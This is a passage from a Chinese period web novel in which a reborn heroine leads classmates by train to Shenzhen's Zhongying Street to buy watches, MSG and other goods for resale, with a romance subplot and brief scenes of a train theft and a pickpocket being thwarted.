赵晓鹤不在意这个,嚅唇说:“上次在江源县救了我的姑娘,好像是你和晓琳的同学。”
“茉莉啊?”林语晨直盯着他看,眼神里漫上戏谑。
赵晓鹤点完头才后知后觉地反应过来,摇手说:“语晨,你别误会,我是想向她当面道谢……”
“哦……”林语晨拉长音,看着他脸红,又调侃,“这事过去两个月吧。晓琳帮你道过谢哦,你还没放下呢?”
“我我……”赵晓鹤一时结巴,有点转不过来。
“好啦,我理解。”林语晨看他静下来,轻声说,“晓鹤,喜欢一个人没有错。只是要认清这份感觉究竟是执念、幻想,还是真正让你心动不已的时时念想。”
她恍然想起医院楼梯上那人飞扑而来的安全感,江边矗立如山、挡着江风的细心,双手垫脸痴睡的孤独,骑行几里为无关人着想的肩负责任,深夜长街上说“想吃就买”的高大暖心……这些细小的点点滴滴一点点地渗透进来,彷如红色的丝线一样缠住一颗本该死寂的心脏,为此再次生出妄念和冲动。
“心动?”赵晓鹤的脑海里滑过歹徒射出的一枪,那张急切的脸宛如一道光快速滑过眼前,却被自己的目光终生定格。他的心再次激烈地跳动,身体像被什么酥软的药剂填充,连呼吸都清浅几分。
“没有!”赵晓鹤从想象中回过神,猛得从石坎上蹦起,差点打滑掉下池塘。儿时落水的恐惧袭上心头,又连忙跳到石坎后面,“语晨,我……没有!”
林语晨被惊地回过神,看着他比刚才红润的脸颊,拍在吓一跳的胸口:“没有就没有,你急什么,吓死我。”
“对不起,语晨。你……别误会。”赵晓鹤又垂下头,心头泛起一股“我好卑鄙”的感觉,“我有事先走了。”
林语晨看他跑走,恍然明白:赵晓鹤……应该是喜欢上张茉莉。只是他不明白什么是爱情,分不清友情与爱情间的距离,它们相近却又不同。但是,时间会给他答案。
一如同赵有归,时间会给彼此最好的选择。
跑走的赵晓鹤再次反应过来:我好像没问语晨报了什么专业。我好像没有以前那样紧张她,时时想和她玩……脑海里再次跳出那道灵活的身影,好看的可爱脸大吼一声“你放手、真碍事”。
“啊……”他摇头甩去那股复杂的感觉,向家跑去。
曾经仰慕的姑娘已经被遗忘在石坎边,那处曾经救过他的地方。
*
周一清晨,灵江市的东站火车上,一行四个姑娘和何罗秋挨挨挤挤上绿皮火车。
幸好灵江市是始发站,大家有位置可以选,就买连号坐一块。面对面两排硬皮椅子,各坐三人。
李伶俐动作麻利地坐在一侧靠窗口。淳于芳想坐在过道处,被林语晨让进去,坐在李伶俐对面。
张茉莉坐在李伶俐和何罗秋中间,和林语晨面对面。
张茉莉坐下就开始抱怨:“小叔让我买卧铺,可以避免很多麻烦。因为你们,我得跟你们硬座17小时。天啊,17小时,一整天加大半夜。”
李伶俐抱着包,侧脸朝站台:“你不是学武吗?学武也很辛苦吧。这点辛苦算什么呀。”
张茉莉轻轻地踢林语晨一脚,向上翻白眼:别以为我听不出来,她这是阴阳我借钱还要分利润呢。
林语晨拍在她的手背,让她坐过来。
这下子,三个女生坐满一张椅子。
淳于芳问张茉莉借的钱,不介入这个小插曲。她朝车内东张西望,看到帅气的列车员巡过,好奇地瞻两眼。
旅客拿着大包小包路过车厢,都能引起她新奇的目光。
何罗秋的情况和她差不多,也不管女生间的热闹。
五个人两排座,肯定有两人坐一张椅子。他拽把包袋,钱都在包里,得护好。
一会后,一名穿青色工装、三七分发型的男子坐在何罗秋旁边。
六人把两排座位坐满。
男子用青灰色的格子帕擦额头的汗,看向对面的三个女生,顿感赏心悦目,露出白牙笑一脸:“我姓何,人称何老板。你们几人是一起吧。这也不是开学、放假的时候,怎么一起出门啊?出门在外人多好啊,互相帮忙,可以多些警惕。”
林语晨都怀疑这家伙是不是在说反话。
人多事多,有时候提醒了等于没提醒,因为大家可能把这份警惕的心寄托在同伴身上。
李伶俐和淳于芳没出过门,所以让她们坐内侧安全。林语晨自觉够警惕,坐外侧没事,结果李伶俐一开口就得罪可以保护她的张茉莉……安全隐患就来了。
何罗秋看大家都不搭理,扯起笑脸接腔:“何叔好啊,我也姓何。”
“小伙子,那咱们五百年前是一家啊。”何老板打量着,“小伙子去哪,和同学们去附近玩啊?”
“何叔好眼力啊,怎么看出来我们是同学呢?”何罗秋都纳闷了。
“嘿,你们年龄相仿,都有股……书卷气,又是简装出行。南来北往走多了,遇到的人和事也多,眼力就被练出来。”何老板看起很高
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兴,“今日个算我运气好,同你们坐一块安心多了。”
他说这话时紧了紧怀里的皮包,一脸热心地问起何罗秋的目的地。
听他说去深地,何老板的眼睛都发光了。
“那可太好了,我也要去深地,咱们能坐一路。哈哈,好啊。哎,这可不远啊。”
何罗秋也乐呵:“何叔,咋这么高兴?我们去深地……玩。”
何老板听出他的隐瞒,但是没关系。说实话,听到他们说去深地确实轻松许多,中途旁边不用换人,也少安全顾虑。
他把包往何罗秋旁边放,夹在两人中间,得空整理衣服,拍掉上面沾着的艳丽丝线。
“你们去那么远的地方玩什么,那小地方有什么好玩,谁起得头啊?”
何罗秋的眼神看向林语晨。
林语晨与何老板的眼神一对,露出八颗牙,笑脸迎人。
何老板的眼睛亮得吓人,却又极快收敛。
他感受到漂亮女生旁边的女生冷嗤的唇角带着凶悍气,而且她的脚尖好死不死插在自己的两足中间,让人生出股莫名其妙的凉气,有种会被踹裆的感觉。
“呵呵……年轻女生出门得注意安全啊。特别是日天站,会上来不少小偷,得注意安全。呵呵……”
说完侧身,并拢双腿朝过道方向。常在道上走,直觉往往很准!
林语晨轻拍张茉莉的手臂表示感谢,搭上话:“谢谢何老板的提醒,出发前,我们都被家里人叮嘱过。何老板去进货吗?巧了,我们也去那进点小货回来零卖。”
何老板眨巴有神的眼睛,不自觉笑起来。
“你也是好眼力,而且想法很不错。现在去那边拿点小东西回来卖,确实能赚个差价。
不过,你们这样去深地会受骗。不说一路上你们会遇到什么事,就说到了那,没有门道、相熟的水客,采购的东西价格会很高,带回来后赚不了多少差价。”
几人顿时起敬。
何罗秋有心问两句,不知道该问什么、怎么问,就觉得应该跟何老板打好关系。
“何老板做布匹生意吗?现在的布匹利润不高,都是走量吧。”林语晨再次说。
何老板哎了声,笑容里带着讶异:“你贵姓?怎么知道我去做布匹生意呢?”
“当然是你亲自告诉我。”林语晨看着他侧旁鼓囊囊的包,里面装不少现金吧。放包后摘掉了衣服上沾着的黄色、红色混杂的丝线,分明是涤纶线料,应该是从布匹的布头上粘过来。
何老板细细回想刚才说过的话和做过事,侧手摸包,又看向过道地上粘着的线头……顿时恍然大悟,心里对林语晨起三分敬意。
别看姑娘年轻,出门在外有这份警惕心和观察力,不仅能避开麻烦,还能把事情办成。
“我走眼了。有姑娘护着这帮人,出不了什么事。哎,怎么称呼啊?”
这是他第二次问姓氏,说明他想交朋友的诚心。
“我姓林。”对方只说姓何,没有说名字,一个姓足够。
然而,林语晨不说,与何老板同排座位的李伶俐已经侧身接腔:“她叫林语晨,我叫李伶俐。何叔叔,这是何罗秋……”
“咳咳……”张茉莉重重地咳两声,打断李伶俐要报自己名字的举动。同时,一双怒眼看去,瞪得李伶俐的笑容僵在脸上。
“呵呵呵……各位好啊,我记性一般,不容易记住别人的名字。我叫何方明,华丽衣料店的老板。这次去那边就是采购一批时髦的面料。”
何方明帮着解了围,顺势说出目的,得了李伶俐的好感。
林语晨莞尔:“何叔刚才说我们去进货容易受骗,怎么讲啊?”
何方明看下手表,本该提早睡一觉,晚上可以提高警惕。这会他觉得同这几学生在一起够安心,就把中英街那边的事说了一些。
“你们要看上什么,人家说什么价,不能直接下手,得会还价,最好货比三家,多跑跑。手里有黄票的店铺,价格会低一点。这种铺子一般都有固定的水客帮忙进货,不然容易买到二手、三手货。
最好是有相熟的水客,专人帮忙带货。你别说这街跨一步就是港地,还有边防军驻守,一般人过不去。而且,隔几步路,两边的价格就不大一样。”
几人听得很有味道。
林语晨又问:“何叔的布料是直接问港地入货还是……”
“呵呵,姑娘是聪明人。”何方明不方便说了。
这年头赚得是辛苦钱,拿钱进货,两头跑,谁也不是傻子,白白把自己的门道说出来。
林语晨想打听是他有没有认识的水客好共享。显然,何方明怕财路被截,不肯再深谈。
她没降低自己来求对方的好感,两边保持安静。
“快看,离开灵江市了。哇,灵江市外面就是山啊。”李伶俐很激动,拉着对面的淳于芳说话。
林语晨感觉肩头一沉,张茉莉直接靠上来睡觉。
她挺了下腰,让茉莉好好睡。
大家已经说好,后半夜得有人醒着,茉莉的警觉性高,由她守后半夜。
何罗秋的心头还有点痒,想找何方明说话。结果何方明也闭眼靠在椅背上睡。
他瞬间明白这人的举动。林语晨在上车前安排过,大家身上带着不少钱,得保持警惕。没人能挺坐17小时不打盹,五个人得轮流休息,需有人醒着保障大家的财物安全。
55. 何方明
火车哐当哐当的行驶,淳于芳和李伶俐一路都在交谈,还说林语晨想太多,过于小心。
何罗秋看着何方明的举动,以及适才说好几遍“运气好、高兴”的话,到觉得林语晨没有小题大做。
他看着身旁兴奋的李伶俐、淳于芳,再有努力入睡的张茉莉,看似打盹的林语晨,心想晚上得替她们轮流守夜,靠在椅背上假寐。
可他毕竟头一次出远门,想要入睡太难,忍不住去听李伶俐说的话:火车路过哪哪,外面又有什么……就会张眼去看,次数多了,就加入她们的聊天队伍。
虽然这辆是特快火车,但也有必停站点。
铃声一响,车子缓缓启动。
车厢里不仅越来越嘈杂,大夏天的味道也越来越重。张茉莉被旁边站着的人熏醒了,往林语晨身边挤进去些。
站在过道上的中年大叔一看有半个屁股可坐,直接挤上来。
张茉莉一脸“我去”,肩头用力一顶,把厚脸皮的中年人顶下椅子。
中年大叔大概没想到这姑娘的力气这么大,懵过后直接怒了:“你怎么回事,没看到我坐得好好吗?”
他看众人瞧来,脸红脖子粗开始骂,“哔——,你们三个小姑娘够坐了,挤挤还能坐一个人。这么远的路,有位置非得让人站着啊,什么居心啊。哔——”
张茉莉也开炸,怼脸开嘲:“大叔,喊你一声都是客气。一张椅子三个人,我们坐满了好吗?你这辈子没坐过火车还是没坐过凳子,非得同我们大姑娘挤一起,你什么居心?哦,你不会是想趁机揩我油,你是流氓还是色狼啊?”
“你你……怎么说话呢?”中年大叔起初看她是女生,战斗力直线飙升,一个劲数落张茉莉,结果被怒怼回来,还被冠上流氓、色狼的名头,气得瞠目结舌。
林语晨起身帮腔,被张茉莉侧身一把按回座位,顿时忍俊不禁。
这“叔”撞在茉莉枪口上,自求多福吧。
张茉莉双手交叉,十指关节一个个嘎嘣响过去,一脚踩在大叔坐过的椅角,白蓝色的微喇牛仔裤被拉显出几分气势,一脸“大叔,你还要继续说吗?”眼神又奶又凶。
“你你你……讲不讲道理啊?哔——”中年大叔看张茉莉不好惹,一边骂娘,一边拎着包挤过人,往过道前方挪。
淳于芳竖起大拇指:“有时候真觉得茉莉这样才能出门,不会受欺负。”
张茉莉得意地抬下巴。若不是何方明挤着双腿,就差大马金刀般坐着显示体量。总之,绝对不让别人有机可座。
“他的味道真难闻,我都憋着气说话,一股腥臭汗味,熏死人。芳芳,开大窗。”
“好啊。”淳于芳赶紧开窗。
三人椅子背后那座位的人又不让开,还把窗户推回来。
淳于芳又推拉两次,还被推回来,起身去看是位妇女,好声好语问了声,结果人家一声不吭又推回来。
她朝林语晨露出为难的表情:“怎么办?”
林语晨看着路过的蓝帽子乘务员,跟他说明了情况。
老成持重的乘务员点头,朝那位妇女商量几句。
妇女这才留了半扇窗给隔壁。
张茉莉感叹:“我叔真有先见之明。硬座果然是非多。”
“好了。”林语晨拉她手臂,“委屈你了。不过,有你,我们才敢放心去那么远的地方。”
“竟说好听。我敢说,没我你照样去。只不过这次人多,你照顾不来,才把我拽在这。”张茉莉看她点头,气不过,出手挠她。
林语晨躲进淳于芳怀里,向茉莉求饶:“行了行了,我错了。”
车厢里的人看着几个姑娘的动静,生出些羡慕:爹妈有钱好啊,能让孩子出门玩。
也有人打量着她们,又想起茉莉的战斗力,不好的心思也只得沉下去。
何方明被她们的动静吵醒,轻咳了声:“出门在外低调些。”
张茉莉轻嗤:“没本事的人才低调。你见过有本事的人苟着做人吗?”
“……”林语晨看对面一脸孺子不可教的表情,轻声说,“茉莉,有时候扮猪吃老虎有意想不到的效果。”
何方明闭着眼睛,动了动眉毛。
若林语晨不打听布料这行的消息,倒可以结交一番,这个姑娘的心思不简单啊。
几人还真想试试火车餐,还有方便面、汽水之类,但是看着那价钱,直接歇菜。各自拿着临出门前亲妈给带的鸡蛋、干饼之类的食物裹腹。
车厢亮灯后,外面什么都看不清。车子里的嘈杂声也渐渐地变小。
李伶俐挺一天终于乏了,外头不是田就是村,不是山就是河,真没什么好看。她把包放在怀里,抱着包,靠在椅背和玻璃窗中间睡着了。
何罗秋看林语晨还醒着,想睡又不敢睡。
林语晨眼神示意他先睡。
何罗秋点头,靠在椅背上打盹,起初还真硬挺一会,渐渐地斜了头,靠上何老板的肩头。
何方明不打算休息,看向对面翻小人书的张茉莉、半合眼的林语晨,轻声说:“你们怎么敢带她们出来?”
林语晨抬眉望去,平静说:“八月底,他们也要出门上大学,不过早一点晚一点的事。”
“是啊,迟早都要独自上路。”何方明感慨了句,“中英街不是随便进,还得有证呢。”
张茉莉放下小人书,直视过去:“这个问题我们已经托人解决。大叔,你真以为我们什么都不知道就去那边吗?”
嘲完又拿起小人书看。
林语晨客气地笑着,婉婉说:“何叔,明人不说暗话,我想打听下,你那边有没有熟识的水客,帮着清关带货。”
“清关?”何方明笑出牙齿,“水客清什么关,都是按着限额带的货。不过,其实有隐患,你过得了深地那关,上的了火车,你也进不了灵江市啊。现在,市里政策变动大,若是你拿回来的东西来源不明,一不小心就全被收缴,什么都赚不回来。”
林语晨点头,确实如此。
等中英街被许多人知道后,各方的政策也会陆续明确,还会严打走私。
张茉莉翻着页面,又来句:“没关系,她在市局有人。”说完被林语晨掐了把,龇牙咧嘴,“我也没说错话啊。”
何方明来了精神:“这就好说了。每次拿的数量在限额下,不清关也没事。”
“……”林语晨叹了声,这年头赚点钱挺不容易。
从后世看现在,以为这个时代遍地黄金,只要有想法,人人都能发财。若真这样,后世又哪来那么多羡慕这个时代的人。
她也不想给赵有归找麻烦,最好是中英街那边能开清关的货物清单,以免大包小包拎回去,被请进局,打成投机倒把,那就尴尬了。
何方明看出她的顾虑,想提个建议,又觉得亏,一时没再说话。
后半夜,火车只在一个站点停车,各节车厢热闹过后又安静,余下一个半小时的路程。
这个时候也是人最累的时段,包括何方明,忍不住打起盹。
林语晨的脑袋一颠一颠,被张茉莉轻轻地靠放在淳于芳肩头。
两人对了眼都开始闭目假寐。半响后,淳于芳忍不住睡着了
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有人从过道上挤过,大腿擦过张茉莉松垂在外的手。
张茉莉一把拉住掉下的帆布包肩带,再一眼是那人手下的皮包角。她的神智顿时清醒,一脚踢在何方明的小腿:“包没了。”
“包?”何方明跳起来,看着挤走追人的张茉莉,大声喊,“抓贼啊。我的包……包……”
顿时,车厢里的人都醒过来,纷纷检查自带的财物。
林语晨也被惊醒,发现茉莉不见了,怀里是茉莉的帆布包,赶紧起身:“茉莉……”
何罗秋把包扔给发懵的李伶俐,起身去帮忙。
乘务员闻声赶过来,紧跟着追去。
车厢里哄闹声不小,远处还传来骂骂咧咧的动静。
淳于芳想要去看情况,被林语晨按回去:“语晨,怎么办?茉莉和何罗秋都不见了。”
“没事。我们坐在这等他们。不然,等他们回来,位子也没了,还有一个小时呢。”林语晨看着神色紧张的李伶俐,安抚性点头。
热闹过后的车厢再次安静,事不关己的人已经高高挂起,该怎么样就怎么样。
半个多小时候后,乘务员把三人送回来,态度友好、说话客气。
张茉莉坐回椅子,呼了声,擦把汗:“累死我了。”
“没事吧?何罗秋,你呢?”林语晨问。
“我没事。多亏茉莉,一个转手……这样把那人的刀子给按下去。”何罗秋笑嘻嘻说,“没想到真会发生这种事。”
何方明感激地看向茉莉:“谢谢你啊。这次我带得是今年冬装的面料款,全部家当。不然,我不会这么紧张。
你们不知道,这种事在路上屡见不鲜,我也是第二次遇上。
有一次,一户人家三口出行,被偷个兜底朝天,亏得他爱人把钱缝进衣服,剩下几块回老家。”
李伶俐拍拍胸口:“真吓人。小偷怎么样了?”
何罗秋:“他被乘务员控制住了。他们说火车到站后会把他交给当地警察处理。”
淳于芳兴奋地说:“一开始我以为是语晨夸大其词,没想到真有这种事。幸好,这次茉莉陪着我们。”
张茉莉热得烦躁,哼了声没说话,捞过林语晨的帕子擦额头的汗。
“回去的时候我一定要买卧铺。”
何罗秋调侃她:“吃得苦中苦方为人上人。”
“我爸妈已经吃过苦,我干嘛还吃?没苦硬吃,脑子有病。”张茉莉怼回去,轰得何罗秋哑口无言。
林语晨给她扇风:“路见不平、仗义相救,此乃侠女风范。”
“你会哄人。”张茉莉也没放过她,“小娘子会说话,多说几句听听。”
林语晨被逗笑:“少看些小人书,没得把你脑子看坏。”
“哈哈……才不会呢。这里头讲得有些比教科书还实用。哈哈……”
热闹过后,车厢里再次安静。
何方明是彻底不敢闭眼,一直挺到终点站。
车还没到站,乘客已经开始拿行李,准备下车。
五个人抱紧自己的包,准备先行下车。
大家准备第二天就回家,没带换洗衣服之类的行李。
然而,上了车后大家发现这个决定又好又不好。好得是不用大包小包挤放行李,不好得是天气热,浑身都馊了也没衣服换。
张茉莉听着这种抱怨就说:“担心什么?出门在外,手里有钱还怕没地方买衣服吗?回头去了沙头角,你们就能买港人穿的潮衣裤了。”
火车到深地站台,各节车厢的人都动起来,挨挨挤挤地下车。
56. 中英街
林语晨几人仗着没行李,行动灵活,赶早下了车。
然而,车外面一片漆黑,不少人下车后出了站台就席地睡觉,大夏天也不怕着凉,就地互相靠着,等待天亮。
管理人员也不赶,若是挡路才赶几下。
淳于芳、李伶俐有些茫然,互相看看:“我们……去哪啊?”
挤出来的何方明看着那群商量来去的未来大学生,上前说:“哎,你们要是放心,跟我走吧。我不会马上去中英街,不过明天下午我会去那带点东西回去,可以给你们指个明路。”
目光落在林语晨处,显然她是这批人里拿主意得那位。
林语晨环顾众人,其实现在应该找个地方休息。
但是,这会没有手机、网络,不能提前订旅馆。若是离开车站,就得打黑车,不太安全。若留在车站就跟那些席地的人一样硬挨到天亮。
“何叔,方便吗?”林语晨这样问,也是不想给对方带麻烦。
何方明夹着包,回个坦荡的笑容。
“方便的,我常住的店就在这附近。我的货呢,还在申报,等清关。所以啊,我得等熟识的人帮着从对面运回来,再托运回去。我来这趟,一是验货、二是付款、三是托运。”
林语晨这才明白他的货源,而何方明肯透露信息,代表可以资源共享。
“何叔,那我们麻烦你个事。我们先去趟中英街,看过货后请你的人帮忙从对面带货回来。我们会出带货的钱,这样可以吗?另外,我们的东西超过额度,一定会申报!”
林语晨看他不语,追句,“何叔有相熟的货代吧?”
何方明莞尔,这女生果然机敏。“费用不便宜啊。别拿回去后赚不回路费。”
“不打紧。”林语晨算了算大家的钱,若买零碎的话,真能拿不少。不申报的隐患太大。
何罗秋见两方拿了主意,赶紧说:“太好了,何叔,我们就拜托你帮忙。”
“行行行,走吧,一起走吧。”何方明带头,领几人离开火车站。
女生的嘴甜起来,纷纷向何方明道谢。
“不用谢,客气了。大家是老乡,出门在外互帮互助。”何方明领着这群清澈的大学生去往熟识的旅店。
*
旅馆里还出个小插曲。
服务员一口广东白话,几人一脸:“你在说啥?”
何方明就站在旁边看热闹,想给这几位大学生点苦头吃,告诉她们不是什么人都能跑来这边做生意。
林语晨站出来,一口流利的广东话应付服务员,还要两间房。
她对目瞪口呆的何方明用广东话笑说:“何叔,罗秋和你睡一间可以吗?我们是学生,能省则省。”
何方明叹为观止,说了句:“服了。你有这边的亲戚还是以前来过?不可能!一趟两趟……学不会这口流利的白话,比我说得还好。”
林语晨垂头,莞尔一笑,具体理由就不说了。
前世,她不止会英语、白话,还学过一点点韩语……做什么用呢?
自然是陪太太团、商业伙伴的家眷出国旅游。若想要在灵江市稳固现有的财富地位,又岂是简单一两句话说得完,耗费的心血和精力是常人难以想象的。
林语晨无视大家的好奇,喊几人各自回房休息。
她和张茉莉一间房,李伶俐和淳于芳一间,渡过后半夜。
第二天清早,大家陪何方明先去办事,见识一番内地和港人做生意的场面。期间,林语晨还帮何方明翻译、传达几句话,让对面的人都夸何方明这次带对人。
事情办完后,何方明热情地带几人吃餐饭,地道的广东菜,五滋六味,口感细腻、不油腻。
这餐饭是正式感谢张茉莉帮忙拿回包,感谢林语晨在两方交涉过程中帮忙,以及为未来打好关系。
他已经看出这批人的潜力,趁她们还没起势时结交,有可能助力于未来。
下午,他又带大家坐车去远在沙头的中英街。
中英街不长不宽,却挤满人。
各种熙攘的吆喝声、讨价还价声,不论老幼皆是匆匆呼呼。那些谈好价打好包的买办直接大包小包扛着东西欢天喜地离去。
林语晨被路过的人推了一下,连一句“对不起”都没听到,那人已经急匆匆离开。
她转身找同伴,她们已经被各种店铺吸引目光,连催都不用就凑挤进店。
万人空巷的街道上,人群互相挨挤着,一个错眼可能就找不到同伴。
幸好,大家约定在那棵标志性的树下碰头。
张茉莉一把握住男人伸向淳于芳包带的手,气势汹汹说:“你干什么?”
淳于芳不解地回头:“怎么了?”
男人猛推淳于芳,引张茉莉扶人,借机窜进人群后逃走。
林语晨跑过去,同几人一起围住淳于芳。
树荫下的淳于芳惨白张脸,快速检查包,大大松口气后拍胸脯:“没丢没丢。茉莉,谢谢你。”
“别客气。”张茉莉朝林语晨说,“咱们动作快点吧。火车上被人抢座、抢包,这里也会遇上小偷,真不安全。”
何罗秋点头:“是啊。语晨姐,我们已经走完一趟,磕磕巴巴也打听了不少,你觉得我们带点什么回去好?”
李伶俐也急着说:“我问了价格,有些真的好便宜啊。比百货大楼里卖得便宜多了。”
林语晨点头,问大家都看上什么?
李伶俐的目光望向糖果铺。
铺子里五颜六色的包装鲜亮又好看,而且还有巧克力。金色包装的费列罗简直是糖果里的女皇。对于内地的女孩来说,绝对是吸睛的存在。
“伶俐,你想进糖果?”林语晨问。
“啊?”李伶俐抿唇,“但是,我……担心钱不够,也担心卖不出去。”
林语晨十分现实的分析:“而且天气热,很多糖果不容易保存,化了就没形状。你看人家的店里放着桶,装着冰块,就是这个目的。”
李伶俐默默地点头打消带糖果的想法。
张茉莉不管她们,跑去成衣店里买漂亮的裙子和头饰,还给妈妈和小婶带了衣服,很快就搞了一大包。
林语晨朝几人说:“我的建议是电子手表,市场价1.3元,若是找何叔的人帮忙拿货,价格可以再低些。去掉申报清关、我们来去路费成本等,卖十元一块也能赚8元的差价。”
“我同意。”何罗秋早就看中这个手表,金色的铜制表带,表盘一块方玻璃,上面还有英文的时间缩写,时髦又实用,一定能卖出去。
他问晓琳借了一百五十元,加上自身的五十元,若能拿到1元一块成本价的手表,就能带回去两百块。卖十元一块,就能赚两千,扣除清关费用、成本和晓琳的两成利润,大概能赚五百至六百。
五百多啊,相当于爹妈近两年的收入,这趟绝对没有白来。
淳于芳没想好,看向林语晨:“我想买……那个颗粒味精。我爸之前吃过一次味精做的饭菜,一直惦记着。但是,我家一年到头也吃不上。我发现它在这好便宜,想带回去卖。”
李伶俐先是皱眉,撇嘴说:“味精才几分钱,卖多少?你又要带多少回去?”
淳于芳点头:“我问过了,5分钱一包,可以卖3到5角,又能打着进口的招牌。我的钱可以带1875包,将近20箱。但是,这个量太大,我不知道该怎么办?”
林语晨莞尔,若是按这个差价算,扣掉运费成本,可以赚400元-500元,而这个走量的利润其实比何罗秋赚得略高,但是量大意味货运麻烦,有利有弊。
“可以像何叔的布料一样办理货物托运。若是赶得话,给货物买坐票,这个成本略高。托运的话,比我们人应该会晚一星期到灵江市。”又说,“芳芳,你这想法不错,内地颗粒味精也有生产,但是稀缺,即使城里也是供不应求。它们存储方便,也不容易坏。”
“是吧。”淳于芳得到林语晨的支持很开心,又说,“若是托运方便,我还想帮我妈在县里开家小卖部,以后我在这边读书,跑来进货方便,再给她托运回去,就可以让她长期做这门生意。”
何罗秋听后更激动:“淳于芳,以后我可以托你帮忙带东西吗?”
李伶俐赶紧说:“我也要,芳芳。那个……入秋后你帮我带糖果可以吗?我想在学校卖糖果。”
这一趟完全打开大家的眼界,仿佛进入一个赚外快的新世界大门。
“嗯。”淳于芳连连点头,目光看向林语晨,发现她表情平静,好像早就料到会这样。
李伶俐拍手:“我怎么办?我该带什么呀?”
“香皂、折叠雨伞、方便面,发卡……化妆品,这些都可以啊。”林语晨看着大包小包拎回来的张茉莉,吃惊说,“战斗力爆表啊,一会你别出不去。”
“怎么会呢?又没那么严,而且我发现大家都不清关,基本都是水客拿了就走。你们清关的话,会不会太亏了,好大一笔钱……”张茉莉看着林语晨不赞同的眼神,抿唇递过去一个小袋子,“别说我不想着姐们,这是给你买的内衣裤。”
何罗秋转脸看四处,假装没听见。
淳于芳和李伶俐眼红了,纷纷问多少钱,听说一两块钱,在这真不贵,但是舍不得。
“你们真得不买吗?这款是很挺的。”张茉莉还挺下胸脯,介于A-B之间的尺寸真就闪了人眼。
李伶俐害羞地瞟两眼。淳于芳直接撇眼:“林语晨,你想带什么?”
张茉莉见她们不搭理切了声,跑一旁买饮料喝。
林语晨没想好,来时各种想法,临到这发现这些东西就这样,根本提不起她的兴趣。
或许前世是实业家的缘故,她甚至在想味精厂怎么还没建好;糖果那么简单,使用可食用色素加白糖就行,怎么还没做出来。
内衣更是方便,一台缝纫机加面料,若是有海绵、鱼骨、风纪扣,可以做出更挺的内衣。
“林语晨,你在想什么呢?”淳于芳又喊了声。
“啊……我想带录音机,四台。一台60多元,回去卖300-400元一台。”
“……”众人一脸:“我去,我怎么没想到啊?”
“算上成本要80一台吧?卖不掉就砸手里了。”何罗秋担心,思考一番还是决定进电子手表保险。
李伶俐看来看去什么都想带,而且这里的水
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客拿货不用税,一时有些心痒难耐。待林语晨问来考虑好没有,想了想说:“我再转一圈,听听行情。”
淳于芳轻声说:“语晨,我觉得她……”
“再说吧。既然定下来,我们有余钱的话再带点零散回去,赚个小路费或者给家里人带一些。”林语晨找上张茉莉,同她去了衣裳店,先给自己买一条修身的半袖碎花连衣裙,又给林兰香和沈秋霞带了内衣和进口雪花膏,用港币购买,便宜许多。
她还在店里看到稀少的口红,价格非常美丽。
张茉莉跟她站一块,杵下巴沉思:“不然,我们买一支,两人用一支?”
林语晨扬眉:“好朋友什么都能分享,但是两样东西不行。”
“什么?不会是口红吧?”
“没错,一个是口红,一个是男人。”林语晨咬牙,挑了一支正红色,“就它了,麻烦包起来。”
“我能理解男人不能分享,口红为什么不能分享?”张茉莉眨巴眼:“你也不怕它化了呀?”
“因为我不想我的男人和好友因为口红而间接接吻。”林语晨见她目瞪口呆,莞尔发笑,“只要小心些,回去再冻上就好。”爽快地付了钱,拿到小礼盒时心情都变了,“突然觉得阳光不那么烈,一切都很美好。”
“因为一支口红?”张茉莉还是一副震惊脸。
“没错。因为一支口红!”林语晨咧大嘴,“你真不买吗?”
“我买!我也不能接受分享口红。”张茉莉挑挑拣拣选只浅色系带粉的口红,价格比正红还贵很多,拿到手后她就明白林语晨刚才的感觉,“我怎么也觉得这天不热,还带着粉红气息呢?”
“哈哈哈……”两人在人家店里笑作一团。
淳于芳买得大多是日用,还买了双牢固的帆布鞋,踩上后整个人都感觉轻松起来。
结果,她看到林语晨和张茉莉买丝袜和凉鞋,又觉得帆布鞋真得老热老丑!
“你们……”
林语晨笑夸她:“等九月开学,你的鞋子跑起来不要太轻松,挺好的。”
“我去大学跑什么?”淳于芳吐槽,看到一个身穿裙子的波浪卷女人从前方掠过,真得是掠过。因为女人瞻望一眼后匆匆跑掉,“那个人……”
林语晨回头望去,以为她在指李伶俐,看着对方手里的折叠伞、香皂……有些发麻。
这姑娘是打算在这进货吗?
“伶俐,你不会把钱都兑掉吧?”
李伶俐“啊”了声,请何罗秋帮忙搬一些手里的货物,抿唇说:“没有。我还留一些呢。他们说在这买这些便宜,不会比那边带进来便宜多少,不用税。”
“……”林语晨蹙眉。这群人是自己带出来,但是,到了地方后选择权在她们自己。可是,若出了事,惹上麻烦,怪起来肯定有份。
“你把剩下的钱留着吧,请何叔的人带货吧,该怎么样就怎么样。若回灵江市或者在火车站被拦下、被缴获,反倒得不偿失!”
“这里……他们都这样啊。”不清关,少量多次拿,能省好多钱。
李伶俐看大家都站在林语晨这边,撇下嘴。尽管不愿意,还是点头答应。
一行人转完买好东西,前往何方明约定的店铺。
何方明看着大家收获颇丰,让店主估算金额,点头赞句:“不愧是大学生,懂分寸。接下来,你们都看上什么货,列一张单子吧。这位是本地人老何,何成,何老板。
罗秋,咱们都姓何,五百年前一家人,嘴巴要甜点。”
几人得到示意,纷纷喊他作“何大叔”。
何成笑说:“大家别客气,都是为赚钱。笔和纸在这,你们列单子吧。”
何成看过她们几人写的数量和金额,摸着嘴唇上两撇有特色的胡子:“申报得加钱,不清关可以省几十块,八十左右吧。你们自己决定。”
八十块不是小钱。大家来回一趟深地的车费也就60多元。
林语晨看向众人,尤其是李伶俐,坚决说:“这次我带你们出来,就得把你们完好地带回去,进灵江市也不能出事。所以,这次这事必须听我说的做,按正常交易流程走货。
何大叔,麻烦你了。”
“好说。虽说繁琐点,但后续事情反倒简单。行,那就这样吧。”何成看众人一脸服气,明白林语晨是这群人里的头,又说,“不过,若要我凑齐这些东西需要两天,没问题吧?
你的味精……直接给你拉倒火车站吧?运费十元。电子表、录音机可以提箱拿走。香皂、折叠伞……问题不大。磁带……张歌手,迪斯科曲目……也可以带。”
张茉莉赶紧说:“有台省那边席大作家写的小人书吗?”
“有啊。这个在那边流行,这里还不怎么流通。”何成接触过这部分,兴奋地说,“我闺女也爱看小说,以后一定是热门书。”
张茉莉当即说:“请帮我带最新出版的几本,谢谢。”
“好好。这是小事,我帮你带回来。”何成朝何方明说,“小何,可以啊,这些人以后是你带出来的学生了。”
“哈哈哈……说笑了。大家都是老乡,互帮互助。”何方明朝几人点头,比个时髦的OK手势。
57. 伟他哥
旅馆里,淳于芳敲开林语晨和张茉莉的房门,进来说:“林语晨,我跟你说个事。”
“什么事?”林语晨正把张茉莉和自己的裙子过水后晾起来,明天早上就能穿。
